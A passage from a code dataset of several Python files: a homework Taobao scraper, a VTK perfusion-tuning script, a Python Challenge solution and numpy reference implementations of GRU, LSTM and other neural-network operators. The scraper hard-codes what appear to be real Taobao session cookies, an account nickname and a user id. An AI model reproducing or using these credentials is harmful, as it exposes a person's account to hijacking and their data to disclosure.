\"lgc\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"tb953803831502\",\n \"id\": 20\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1632664914.27357,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"mt\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"ci=0_1\",\n \"id\": 21\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"sg\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"212\",\n \"id\": 22\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1663596112.198116,\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"sgcookie\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"E100KduzkWTYtoWHGg6E%2Fy6BafbyXomwaFRCST%2BL7%2FKggzfL0R6fiZSvakiJmRjaTkUN4atptrtNNlTwrwSh%2B%2BQAMwP7wJeLJe%2FDQlS%2BD%2Fj%2BS%2Fw%3D\",\n \"id\": 23\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"skt\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"95b706038217593b\",\n \"id\": 24\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1639836112.198292,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"t\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"3178155a2a3433d03f036dabba10094a\",\n \"id\": 25\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1647583330,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"tfstk\",\n \"path\": \"/\",\n \"sameSite\": \"unspecified\",\n \"secure\": False,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"cr91Be2V-P4shVh4QhiU7zy5UzXca0zPcm76fQSK1XFQVy-1JsmQUaOvH9UFwmjC.\",\n \"id\": 26\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1663135314,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"thw\",\n \"path\": \"/\",\n \"sameSite\": \"unspecified\",\n \"secure\": False,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"cn\",\n \"id\": 27\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1663596112.198392,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"tracknick\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"tb953803831502\",\n \"id\": 28\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"uc1\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"cookie14=Uoe3dYEQjxUT7w%3D%3D&existShop=False&cookie15=UtASsssmOIJ0bQ%3D%3D&cookie16=U%2BGCWk%2F74Mx5tgzv3dWpnhjPaQ%3D%3D&pas=0&cookie21=W5iHLLyFfoaZ\",\n \"id\": 29\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1634652112.198243,\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"uc3\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"vt3=F8dCujd8Ylmtac%2Bq2qE%3D&nk2=F5RMHKnEoIrVppHa8rc%3D&id2=UUpgRKuaNd0ZPQ9M8Q%3D%3D&lg2=VFC%2FuZ9ayeYq2g%3D%3D\",\n \"id\": 30\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1634652112.198367,\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"uc4\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"nk4=0%40FY4HWU%2BUqjaIiayU1%2FFO%2BOXT2T25dQ4lBA%3D%3D&id4=0%40U2gqy1rmXtJFsnWzffVhMJ1uB9Zhf3lu\",\n \"id\": 31\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"unb\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"2212681787801\",\n \"id\": 32\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1632117667,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"xlly_s\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"1\",\n \"id\": 33\n }\n]\n\n# 不登录淘宝无法搜索,所以选择一个搜索得到的页面进行测试\nTEST_URL = \"https://s.taobao.com/search?initiative_id=tbindexz_20170306&ie=utf8&spm=a21bo.21814703.201856-taobao-item.2&sourceId=tb.index&search_type=item&ssid=s5-e&commend=all&imgfile=&q=python&suggest=history_1&_input_charset=utf-8&wq=&suggest_query=&source=suggest\"\n\n\ncookies={}\nfor i in COOKIE:\n cookies[i[\"name\"]]=i[\"value\"]\n\nprint(cookies)\nsession=requests.session()\nsession.headers=Header\ncookies_jar = requests.utils.cookiejar_from_dict(\n cookies, cookiejar=None, overwrite=True)\nsession.cookies = cookies_jar\nres=session.get(TEST_URL)\n\nprint(res.content.decode())\n\nwith open(\"taobao.txt\",\"w\",encoding=\"utf-8\") as f:\n f.write(res.content.decode())\n","repo_name":"xiaoyu2018/HW-MobileInternetTechnology","sub_path":"3/题目1/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":12694,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"11162922413","text":"import sys\nimport os\nimport vtk\nimport numpy as np\nimport time\nimport glob\nimport math\nimport argparse\nimport csv\nimport labelFlows as lf\nimport vtk_VolumePerfusion as vp\n\n\ndef intializeVTP(filename):\n datareader=vtk.vtkXMLPolyDataReader()\n datareader.SetFileName(filename)\n datareader.Update()\n\n mesh=vtk.vtkDataSetMapper()\n mesh=datareader.GetOutput()\n vprint('Loaded %s file.' % filename)\n return mesh\n\ndef intializeVTU(filename):\n\tdatareader=vtk.vtkXMLUnstructuredGridReader()\n\tdatareader.SetFileName(filename)\n\tdatareader.Update()\n\n\tmesh=datareader.GetOutput()\n\tvprint('Loaded %s file.' % filename)\n\treturn mesh\n\ndef writeVTU(mesh,filename):\n\tprint('Writing .vtu file...')\n\tw = vtk.vtkXMLUnstructuredGridWriter()\n\tw.SetInputData(mesh)\n\tw.SetFileName(filename)\n\tw.Write()\n\tprint('done.')\n\ndef writeVTP(mesh,filename):\n w = vtk.vtkXMLUnstructuredDataWriter()\n w.SetInputData(mesh)\n w.SetFileName(filename + '.vtp')\n w.Write()\n\ndef calculateFlow(slice):\n\tvn=[0.0,0.0,0.0]\n\tslice_area=0.0\n\tslice_flow=0.0\n\tslice_pressure=0.0\n\tcell = slice.GetCell(0)\n\tp0 = cell.GetPoints().GetPoint(0)\n\tp1 = cell.GetPoints().GetPoint(1)\n\tp2 = cell.GetPoints().GetPoint(2)\n\tvtk.vtkTriangle().ComputeNormal(p0,p1,p2,vn)\n\tpressure_array = slice.GetPointData().GetArray(\"pressure\")\n\tvelocity_array = slice.GetPointData().GetArray(\"velocity\")\n\tfor cellId in range(slice.GetNumberOfCells()):\n\t\tcell = slice.GetCell(cellId)\n\t\tp0 = cell.GetPoints().GetPoint(0)\n\t\tp1 = cell.GetPoints().GetPoint(1)\n\t\tp2 = cell.GetPoints().GetPoint(2) \n\t\tcell_area=vtk.vtkTriangle().TriangleArea(p0, p1, p2)\n\t\tslice_area=slice_area+cell_area\n\t\tnodeids = cell.GetPointIds()\n\t\tv1 = np.array(velocity_array.GetTuple3(nodeids.GetId(0)))\n\t\tv2 = np.array(velocity_array.GetTuple3(nodeids.GetId(1)))\n\t\tv3 = np.array(velocity_array.GetTuple3(nodeids.GetId(2))) \n\t\tslice_flow=slice_flow+sum((v1+v2+v3)/3.0*vn)*cell_area # 1 point Gauss quad rule\n\t\tp0 = np.array(pressure_array.GetTuple(nodeids.GetId(0)))\n\t\tp1 = np.array(pressure_array.GetTuple(nodeids.GetId(1)))\n\t\tp2 = np.array(pressure_array.GetTuple(nodeids.GetId(2)))\n\t\tslice_pressure=slice_pressure+np.mean([p0,p1,p2])*cell_area\n\tslice_pressure=slice_pressure/slice_area\n\treturn slice_flow\n\ndef isolateCap(model,cap,caps_location):\n\tcap_vtp = intializeVTP(caps_location + '/' + cap + '.vtp')\n\tcellIds = vtk.vtkIdTypeArray()\n\tcap_cell_set = set()\n\tfor i_cell in range(0,cap_vtp.GetNumberOfCells()):\n\t\tcap_cell_set.add(cap_vtp.GetCellData().GetArray('GlobalElementID').GetValue(i_cell))\n\tfor i_cell in range(0,model.GetNumberOfCells()):\n\t\tif(model.GetCellData().GetArray('GlobalElementID').GetValue(i_cell) in cap_cell_set):\n\t\t\tcellIds.InsertNextValue(i_cell)\n\n\t#Creates the selection object to extract the subset of cells from the mesh\n\tregion=vtk.vtkExtractSelection()\n\tregion.SetInputData(0,model)\n\ttempCells = vtk.vtkSelectionNode()\n\ttempCells.SetFieldType(vtk.vtkSelectionNode.CELL)\n\ttempCells.SetContentType(vtk.vtkSelectionNode.INDICES)\n\ttempCells.SetSelectionList(cellIds)\n\ttempSelection = vtk.vtkSelection()\n\ttempSelection.AddNode(tempCells)\n\tregion.SetInputData(1,tempSelection)\n\tregion.Update()\n\n\t#Outputs the mesh as an polyData object\n\tdssf = vtk.vtkDataSetSurfaceFilter()\n\tdssf.SetInputConnection(region.GetOutputPort())\n\tdssf.Update()\n\treturn dssf.GetOutput()\n\ndef writeFlowFile(model,caps,caps_location,flow_data):\n\toutfile = open(flow_data, 'w')\n\tflows = {}\n\t# loop over each cap and write the outflow to a text file\n\tfor i_cap in range(0,len(caps)):\n\t\t#isolate vtp model of cap from model\n\t\tcap = isolateCap(model,caps[i_cap],caps_location)\n\t\t#calculate flow of cap\n\t\tflow = abs(calculateFlow(cap))\n\t\t#write to file\n\t\toutfile.write(caps[i_cap] + '\\t' + str(flow) + '\\n')\n\t\tflows[caps[i_cap]] = flow\n\toutfile.close()\n\treturn flows\n\ndef readVolumes(volume_filename):\n\tvolumes_dict = {}\n\twith open(volume_filename) as csvfile:\n\t\tcsvreader = csv.reader(csvfile, delimiter=' ')\n\t\tdata = []\n\t\tfor row in csvreader:\n\t\t\tdata.append(row[0].split(','))\n\t\t# make list of cap names and volumes values\t\n\t\tfor i in range(1,len(data)):\n\t\t\tvolumes_dict[data[i][0]] = float(data[i][1])\n\treturn volumes_dict\n\n# reads the solver file to assign resistance values to a list of sorted caps\ndef readResistances(cap_names,solver_filename):\n\tKW = 'Resistance Values:'\n\twith open(solver_filename) as file:\n\t\tline = file.readline()\n\t\twhile line:\n\t\t\tif(line[:len(KW)]==KW):\n\t\t\t\tdata = line.split('\\t')[1:]\n\t\t\t\t# make dict of resistance values\n\t\t\t\tresistances_dict = {}\n\t\t\t\tresistances_dict['aorta_2'] = data[len(data)-1]\n\t\t\t\tdata = data[:len(data)-1]\n\t\t\t\tfor i in range(0,len(data)):\n\t\t\t\t\tresistances_dict[cap_names[i]] = float(data[i])\n\n\t\t\tline = file.readline()\n\treturn resistances_dict\n\ndef Tune(cap_names,flows,target_perfusion,target_flow,tuning_param,solver_filename,new_solver_filename,volume_filename):\n\tKW = 'Resistance Values:'\n\t#Read Resistances\n\tresistances = readResistances(cap_names,solver_filename)\n\t#Read Volumes\n\tvolumes = readVolumes(volume_filename)\n\t#calculate perfusions\n\tperfusions = {}\n\tfor i in flows:\n\t\tif i in flows and i in volumes:\n\t\t\tperfusions[i] = flows[i]/volumes[i]\n\t\telif i not in flows:\n\t\t\tprint('ERROR: %s not found in flows.' % i)\n\t\telif i not in volumes:\n\t\t\tprint('ERROR: %s not found in volumes.' % i)\n\t#Scale resistances by perfusion errors (from target perfusion)\n\tscaled_resistances = {}\n\tfor i in perfusions:\n\t\tvprint(resistances[i])\n\t\tvprint(target_perfusion)\n\t\tvprint(perfusions[i])\n\t\tscaled_resistances[i] = 1/(1/float(resistances[i])*(float(target_perfusion)/float(perfusions[i]))**2)\n\tscaled_resistances['aorta_2'] = resistances['aorta_2']\n\t#Write new solver.inp with updated resistances\n\told_solv = open(solver_filename, 'r')\n\tnew_solv = open(new_solver_filename,'w')\n\t\n\tline = old_solv.readline()\n\twhile line:\n\t\tif(line[:len(KW)]==KW):\n\t\t\tline = line.split('\\t')[0]\n\t\t\tfor i in cap_names:\n\t\t\t\tline += '\\t' + str(scaled_resistances[i])\n\t\t\tline += '\\t' + str(scaled_resistances['aorta_2'])\t\n\t\t\tline += '\\n'\n\t\tnew_solv.write(line)\n\t\tline = old_solv.readline()\n\told_solv.close()\n\tnew_solv.close()\n\ndef createParser():\n\tparser = argparse.ArgumentParser(description='Postprocess data.')\n\tparser.add_argument('heart', type=str, help='the input model heart (vtu)')\n\tparser.add_argument('model', type=str, help='the input model vessels (vtp)')\n\tparser.add_argument('flow_data', type=str, help='the flow_data filename (include file ext)')\n\tparser.add_argument('out', type=str, help='the output filename (include file ext)')\n\tparser.add_argument('solver', type=str, help='the solver filename (include file ext)')\n\tparser.add_argument('new_solver', type=str, help='the new solver filename (include file ext)')\n\tparser.add_argument('volumes', type=str, help='the volumes filename (include file ext)')\n\tparser.add_argument('caps_loc', type=str, help='the input model cap locations')\n\tparser.add_argument('target_perf', type=str, help='the target perfusion')\n\tparser.add_argument('target_flow', type=str, help='the target flow')\n\tparser.add_argument('tune_param', type=str, default=0, help='tune flow (0) or perfusion (1)')\n\tparser.add_argument('-v', '-verbose', type=int, nargs='?', const=1, default=0, help='turn on verbosity')\n\treturn parser\n\ndef main(args):\n\tglobal vprint\n\tif args.v:\n\t\tdef vprint(*args):\n\t\t\t# Print each argument separately so caller doesn't need to\n\t\t\t# stuff everything to be printed into a single string\n\t\t\tfor arg in args:\n\t\t\t\tprint(arg),\t\n\telse:\n\t\tvprint = lambda *a: None\n\tcap_names = []\n\tcaps = []\t\n\tfor file in os.listdir(args.caps_loc):\n\t\tif file.endswith('.vtp'):\n\t\t\tcap_names.append(file[:len(file)-4])\n\t\t\tcap = intializeVTP(args.caps_loc + file)\n\t\t\tcaps.append(cap)\n\tcap_names.sort()\n\n\tflows = writeFlowFile(intializeVTP(args.model),cap_names,args.caps_loc,args.flow_data)\n\t# lf_parser = lf.createParser()\n\t# lf_args = lf_parser.parse_args([args.heart,args.flow_data,args.out,args.caps_loc])\n\t# flows = lf.main(lf_args)\n\n\tTune(cap_names, flows,args.target_perf,args.target_flow,args.tune_param,args.solver,args.new_solver,args.volumes)\n\nif __name__ == '__main__':\n\tparser = createParser()\n\targs = parser.parse_args()\n\tmain(args)","repo_name":"suhaasa/Suhaas-useful-scripts","sub_path":"vtk_tuning.py","file_name":"vtk_tuning.py","file_ext":"py","file_size_in_byte":8102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38114898588","text":"# http://www.pythonchallenge.com/pc/return/mozart.html:huge:file\nfrom PIL import Image\n\nimport util\n\nimg = util.get_url_image(\"http://www.pythonchallenge.com/pc/return/mozart.gif\", auth=(\"huge\", \"file\")).convert(\"RGB\")\n\nnewimg = Image.new(img.mode, (img.width, img.height))\n\nfor line in range(img.height):\n pixels = [img.getpixel((x, line)) for x in range(img.width)]\n idx = pixels.index((255, 0, 255)) - 1\n pixels = pixels[idx:] + pixels[:idx]\n for x in range(img.width):\n newimg.putpixel((x, line), pixels[x])\n\nnewimg.show()\nutil.print_url(\"romance\", \"return\")\n","repo_name":"korylprince/python-challenge","sub_path":"16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23946991386","text":"import numpy as np\n\n\ndef expect(expected: np.ndarray, result: np.ndarray, rtol=1.e-4, **kwargs):\n assert expected.dtype == result.dtype\n assert expected.shape == result.shape\n assert np.allclose(expected, result, rtol=rtol, **kwargs)\n\n\nclass GRU_Helper():\n def __init__(self, **params):\n # GRU Input Names\n X = str('X')\n W = str('W')\n R = str('R')\n B = str('B')\n H_0 = str('initial_h')\n LBR = str('linear_before_reset')\n LAYOUT = str('layout')\n number_of_gates = 3\n\n required_inputs = [X, W, R]\n for i in required_inputs:\n assert i in params, \"Missing Required Input: {0}\".format(i)\n\n self.num_directions = params[W].shape[0]\n\n if self.num_directions == 1:\n for k in params.keys():\n if k != X:\n params[k] = np.squeeze(params[k], axis=0)\n\n hidden_size = params[R].shape[-1]\n batch_size = params[X].shape[1]\n\n layout = params[LAYOUT] if LAYOUT in params else 0\n x = params[X]\n x = x if layout == 0 else np.swapaxes(x, 0, 1)\n b = params[B] if B in params else np.zeros(\n 2 * number_of_gates * hidden_size)\n h_0 = params[H_0] if H_0 in params else np.zeros(\n (batch_size, hidden_size))\n lbr = params[LBR] if LBR in params else 0\n\n self.X = x\n self.W = params[W]\n self.R = params[R]\n self.B = b\n self.H_0 = h_0\n self.LBR = lbr\n self.LAYOUT = layout\n\n else:\n raise NotImplementedError()\n\n def f(self, x):\n return 1 / (1 + np.exp(-x))\n\n def g(self, x):\n return np.tanh(x)\n\n def step(self):\n seq_length = self.X.shape[0]\n hidden_size = self.H_0.shape[-1]\n batch_size = self.X.shape[1]\n\n Y = np.empty([seq_length, self.num_directions, batch_size, hidden_size])\n h_list = []\n\n [w_z, w_r, w_h] = np.split(self.W, 3)\n [r_z, r_r, r_h] = np.split(self.R, 3)\n [w_bz, w_br, w_bh, r_bz, r_br, r_bh] = np.split(self.B, 6)\n gates_w = np.transpose(np.concatenate((w_z, w_r)))\n gates_r = np.transpose(np.concatenate((r_z, r_r)))\n gates_b = np.add(\n np.concatenate((w_bz, w_br)),\n np.concatenate((r_bz, r_br)))\n\n H_t = self.H_0\n for x in np.split(self.X, self.X.shape[0], axis=0):\n gates = np.dot(x, gates_w) + np.dot(H_t, gates_r) + gates_b\n z, r = np.split(gates, 2, -1)\n z = self.f(z)\n r = self.f(r)\n h_default = self.g(np.dot(x, np.transpose(\n w_h)) + np.dot(r * H_t, np.transpose(r_h)) + w_bh + r_bh)\n h_linear = self.g(\n np.dot(x, np.transpose(w_h)) + r *\n (np.dot(H_t, np.transpose(r_h)) + r_bh) + w_bh)\n h = h_linear if self.LBR else h_default\n H = (1 - z) * h + z * H_t\n h_list.append(H)\n H_t = H\n\n concatenated = np.concatenate(h_list)\n if self.num_directions == 1:\n Y[:, 0, :, :] = concatenated\n\n if self.LAYOUT == 0:\n Y_h = Y[-1]\n else:\n Y = np.transpose(Y, [2, 0, 1, 3])\n Y_h = Y[:, :, -1, :]\n\n return Y, Y_h\n\n\ndef dropout_reference(X, drop_probability=0.5, seed=0, training_mode=False,\n return_mask=False):\n if drop_probability == 0 or training_mode is False:\n if return_mask is True:\n return X, np.ones(X.shape, dtype=bool)\n else:\n return X\n\n np.random.seed(seed)\n mask = np.random.uniform(0, 1.0, X.shape) >= drop_probability\n scale = (1 / (1 - drop_probability))\n if return_mask is True:\n return mask * X * scale, mask.astype(bool)\n else:\n return mask * X * scale\n\n\nclass LSTM_Helper():\n def __init__(self, **params):\n # LSTM Input Names\n X = str('X')\n W = str('W')\n R = str('R')\n B = str('B')\n H_0 = str('initial_h')\n C_0 = str('initial_c')\n P = str('P')\n LAYOUT = str('layout')\n number_of_gates = 4\n number_of_peepholes = 3\n\n required_inputs = [X, W, R]\n for i in required_inputs:\n assert i in params, \"Missing Required Input: {0}\".format(i)\n\n self.num_directions = params[W].shape[0]\n\n if self.num_directions == 1:\n for k in params.keys():\n if k != X:\n params[k] = np.squeeze(params[k], axis=0)\n\n hidden_size = params[R].shape[-1]\n batch_size = params[X].shape[1]\n\n layout = params[LAYOUT] if LAYOUT in params else 0\n x = params[X]\n x = x if layout == 0 else np.swapaxes(x, 0, 1)\n b = params[B] if B in params else np.zeros(\n 2 * number_of_gates * hidden_size, dtype=np.float32)\n p = params[P] if P in params else np.zeros(\n number_of_peepholes * hidden_size, dtype=np.float32)\n h_0 = params[H_0] if H_0 in params else np.zeros(\n (batch_size, hidden_size), dtype=np.float32)\n c_0 = params[C_0] if C_0 in params else np.zeros(\n (batch_size, hidden_size), dtype=np.float32)\n\n self.X = x\n self.W = params[W]\n self.R = params[R]\n self.B = b\n self.P = p\n self.H_0 = h_0\n self.C_0 = c_0\n self.LAYOUT = layout\n\n else:\n raise NotImplementedError()\n\n def f(self, x):\n return 1 / (1 + np.exp(-x))\n\n def g(self, x):\n return np.tanh(x)\n\n def h(self, x):\n return np.tanh(x)\n\n def step(self):\n seq_length = self.X.shape[0]\n hidden_size = self.H_0.shape[-1]\n batch_size = self.X.shape[1]\n\n Y = np.empty([seq_length, self.num_directions, batch_size, hidden_size])\n h_list = []\n\n [p_i, p_o, p_f] = np.split(self.P, 3)\n H_t = self.H_0\n C_t = self.C_0\n for x in np.split(self.X, self.X.shape[0], axis=0):\n gates = np.dot(x, np.transpose(self.W)) + \\\n np.dot(H_t, np.transpose(self.R)) + np.add(*np.split(self.B, 2))\n i, o, f, c = np.split(gates, 4, -1)\n i = self.f(i + p_i * C_t)\n f = self.f(f + p_f * C_t)\n c = self.g(c)\n C = f * C_t + i * c\n o = self.f(o + p_o * C)\n H = o * self.h(C)\n h_list.append(H)\n H_t = H\n C_t = C\n\n concatenated = np.concatenate(h_list)\n if self.num_directions == 1:\n Y[:, 0, :, :] = concatenated\n\n if self.LAYOUT == 0:\n Y_h = Y[-1]\n else:\n Y = np.transpose(Y, [2, 0, 1, 3])\n Y_h = Y[:, :, -1, :]\n\n return Y, Y_h\n\n\ndef one_hot_reference(indices, depth, axis=-1, dtype=np.float32):\n values = np.asarray(indices)\n rank = len(values.shape)\n depth_range = np.arange(depth)\n if axis < 0:\n axis += (rank + 1)\n ls = values.shape[0:axis]\n rs = values.shape[axis:rank]\n targets = np.reshape(\n depth_range, (1,) * len(ls) + depth_range.shape + (1,) * len(rs))\n values = np.reshape(np.mod(values, depth), ls + (1,) + rs)\n return np.asarray(targets == values, dtype=dtype)\n\n\ndef negative_log_likelihood_loss_reference(\n input, target, weight=None, reduction='mean', ignore_index=None):\n input_shape = input.shape\n if len(input_shape) == 1:\n raise RuntimeError(\"Unsupported shape\")\n\n target_shape = target.shape\n N = input_shape[0]\n C = input_shape[1]\n\n # initialize the positional weights when required\n gather_weight = None\n if weight is not None:\n # setting mode='clip' to deal with ignore_index > C or < 0 cases.\n # when the target value is > C or < 0, it doesn't matter which value we are\n # taking in gather_weight, since it will be set to 0 in the following if-block\n # use np.int32 to make it compatible with x86 machines\n gather_weight = np.take(weight, np.array(\n target, dtype=np.int32), mode='clip')\n # set `ignore_index`'s loss weight to 0.\n # The loss tensor will be multiplied by this weight tensor,\n # so `ingore_index`'s loss value will be eliminated.\n if ignore_index is not None:\n gather_weight = np.where(\n target == ignore_index, 0, gather_weight).astype(\n dtype=np.float32)\n elif ignore_index is not None:\n gather_weight = np.where(\n target == ignore_index, 0, 1).astype(\n dtype=np.float32)\n\n # if input is 4-d and above, make it 3-d\n if len(input_shape) != 3:\n input = input.reshape((N, C, -1))\n target = target.reshape((N, -1))\n\n # Get a dimension from the reshaped input.\n # If the original input shape is [N, C, H, W],\n # the D here should be H * W because we reshape\n # [N, C, H, W] to [N, C, H * W].\n D = input.shape[2]\n neg_gather_element_input = np.zeros((N, D), dtype=np.float32)\n for i in range(N):\n for d in range(D):\n if target[i][d] != ignore_index:\n neg_gather_element_input[i][d] = -input[i][target[i][d]][d]\n\n loss = neg_gather_element_input\n\n # if the input was 4-d or above reshape to the right shape\n if len(input_shape) != 3:\n loss = loss.reshape(target_shape)\n\n # apply the weights when required\n if gather_weight is not None:\n loss = gather_weight * loss\n if reduction == 'mean':\n loss = loss.sum() / gather_weight.sum()\n return loss\n\n if reduction == 'mean':\n loss = np.mean(loss)\n elif reduction == 'sum':\n loss = np.sum(loss)\n return loss\n\n\ndef cartesian(arrays, out=None):\n \"\"\"\n From https://stackoverflow.com/a/1235363\n Generate a cartesian product of input arrays.\n Parameters\n ----------\n arrays : list of array-like\n 1-D arrays to form the cartesian product of.\n out : ndarray\n Array to place the cartesian product in.\n Returns\n -------\n out : ndarray\n 2-D array of shape (M, len(arrays)) containing cartesian products\n formed of input arrays.\n Examples\n --------\n >>> cartesian(([1, 2, 3], [4, 5], [6, 7]))\n array([[1, 4, 6],\n [1, 4, 7],\n [1, 5, 6],\n [1, 5, 7],\n [2, 4, 6],\n [2, 4, 7],\n [2, 5, 6],\n [2, 5, 7],\n [3, 4, 6],\n [3, 4, 7],\n [3, 5, 6],\n [3, 5, 7]])\n \"\"\"\n\n arrays = [np.asarray(x) for x in arrays]\n dtype = arrays[0].dtype\n\n n = np.prod([x.size for x in arrays])\n if out is None:\n out = np.zeros([n, len(arrays)], dtype=dtype)\n\n m = n // arrays[0].size\n out[:, 0] = np.repeat(arrays[0], m)\n if arrays[1:]:\n cartesian(arrays[1:], out=out[0:m, 1:])\n for j in range(1, arrays[0].size):\n out[j * m:(j + 1) * m, 1:] = out[0:m, 1:]\n return out\n\n\ndef interpolate_1d_with_x(data,\n scale_factor,\n x,\n get_coeffs,\n roi=None,\n extrapolation_value=0.0,\n coordinate_transformation_mode='half_pixel',\n exclude_outside=False,\n ):\n def get_neighbor_idxes(x, n, limit):\n \"\"\"\n Return the n nearest indexes to x among [0, limit), prefer the indexes smaller\n than x.\n As a result, the ratio must be in (0, 1]\n Examples:\n get_neighbor_idxes(4, 2, 10) == [3, 4]\n get_neighbor_idxes(4, 3, 10) == [3, 4, 5]\n get_neighbor_idxes(4.4, 3, 10) == [3, 4, 5]\n get_neighbor_idxes(4.5, 3, 10) == [3, 4, 5]\n get_neighbor_idxes(4.6, 3, 10) == [4, 5, 6]\n get_neighbor_idxes(4.4, 1, 10) == [4]\n get_neighbor_idxes(4.6, 1, 10) == [5]\n :param x:\n :param n: the number of the wanted indexes\n :param limit: the maximum value of index\n :return: An np.array containing n nearest indexes in ascending order\n \"\"\"\n idxes = sorted(range(limit), key=lambda idx: (abs(x - idx), idx))[:n]\n idxes = sorted(idxes)\n return np.array(idxes)\n\n def get_neighbor(x, n, data):\n \"\"\"\n Pad `data` in 'edge' mode, and get n nearest elements in the padded array and\n their indexes in the original\n array\n :param x: center index (in the unpadded coordinate system) of the found nearest\n elements.\n :param n: the number of neighbors.\n :param data: the array\n :return: A tuple containing the indexes of neighbor elements (the index can be\n smaller than 0 or higher than\n len(data)) and the value of these elements\n \"\"\"\n pad_width = np.ceil(n / 2).astype(np.int32)\n padded = np.pad(data, pad_width, mode='edge')\n x += pad_width\n\n idxes = get_neighbor_idxes(x, n, len(padded))\n ret = padded[idxes]\n return idxes - pad_width, ret\n\n input_width = len(data)\n output_width = scale_factor * input_width\n if coordinate_transformation_mode == 'align_corners':\n if output_width == 1:\n x_ori = 0.\n else:\n x_ori = x * (input_width - 1) / (output_width - 1)\n elif coordinate_transformation_mode == 'asymmetric':\n x_ori = x / scale_factor\n elif coordinate_transformation_mode == 'tf_crop_and_resize':\n if output_width == 1:\n x_ori = (roi[1] - roi[0]) * (input_width - 1) / 2\n else:\n x_ori = x * (roi[1] - roi[0]) * \\\n (input_width - 1) / (output_width - 1)\n x_ori += (roi[0] * (input_width - 1))\n # Return extrapolation_value directly as what TF CropAndResize does\n if x_ori < 0 or x_ori > input_width - 1:\n return extrapolation_value\n elif coordinate_transformation_mode == 'pytorch_half_pixel':\n if output_width == 1:\n x_ori = -0.5\n else:\n x_ori = (x + 0.5) / scale_factor - 0.5\n else: # coordinate_transformation_mode == 'half_pixel'\n x_ori = (x + 0.5) / scale_factor - 0.5\n x_ori_int = np.floor(x_ori).astype(np.int32).item()\n\n # ratio must be in (0, 1] since we prefer the pixel on the left of `x_ori`\n if x_ori.is_integer():\n ratio = 1\n else:\n ratio = x_ori - x_ori_int\n\n coeffs = get_coeffs(ratio)\n n = len(coeffs)\n\n idxes, points = get_neighbor(x_ori, n, data)\n\n if exclude_outside:\n for i, idx in enumerate(idxes):\n if idx < 0 or idx >= input_width:\n coeffs[i] = 0\n coeffs /= sum(coeffs)\n\n return np.dot(coeffs, points).item()\n\n\ndef interpolate_nd_with_x(data,\n n,\n scale_factors,\n x,\n get_coeffs,\n roi=None,\n **kwargs\n ):\n if n == 1:\n return interpolate_1d_with_x(\n data, scale_factors[0],\n x[0],\n get_coeffs, roi=roi, **kwargs)\n return interpolate_1d_with_x(\n [interpolate_nd_with_x(data[i], n - 1, scale_factors[1:], x[1:], get_coeffs,\n roi=None if roi is None else np.concatenate(\n [roi[1:n], roi[n + 1:]]),\n **kwargs)\n for i in range(data.shape[0])], scale_factors[0], x[0], get_coeffs,\n roi=None if roi is None else [roi[0], roi[n]], **kwargs)\n\n\ndef 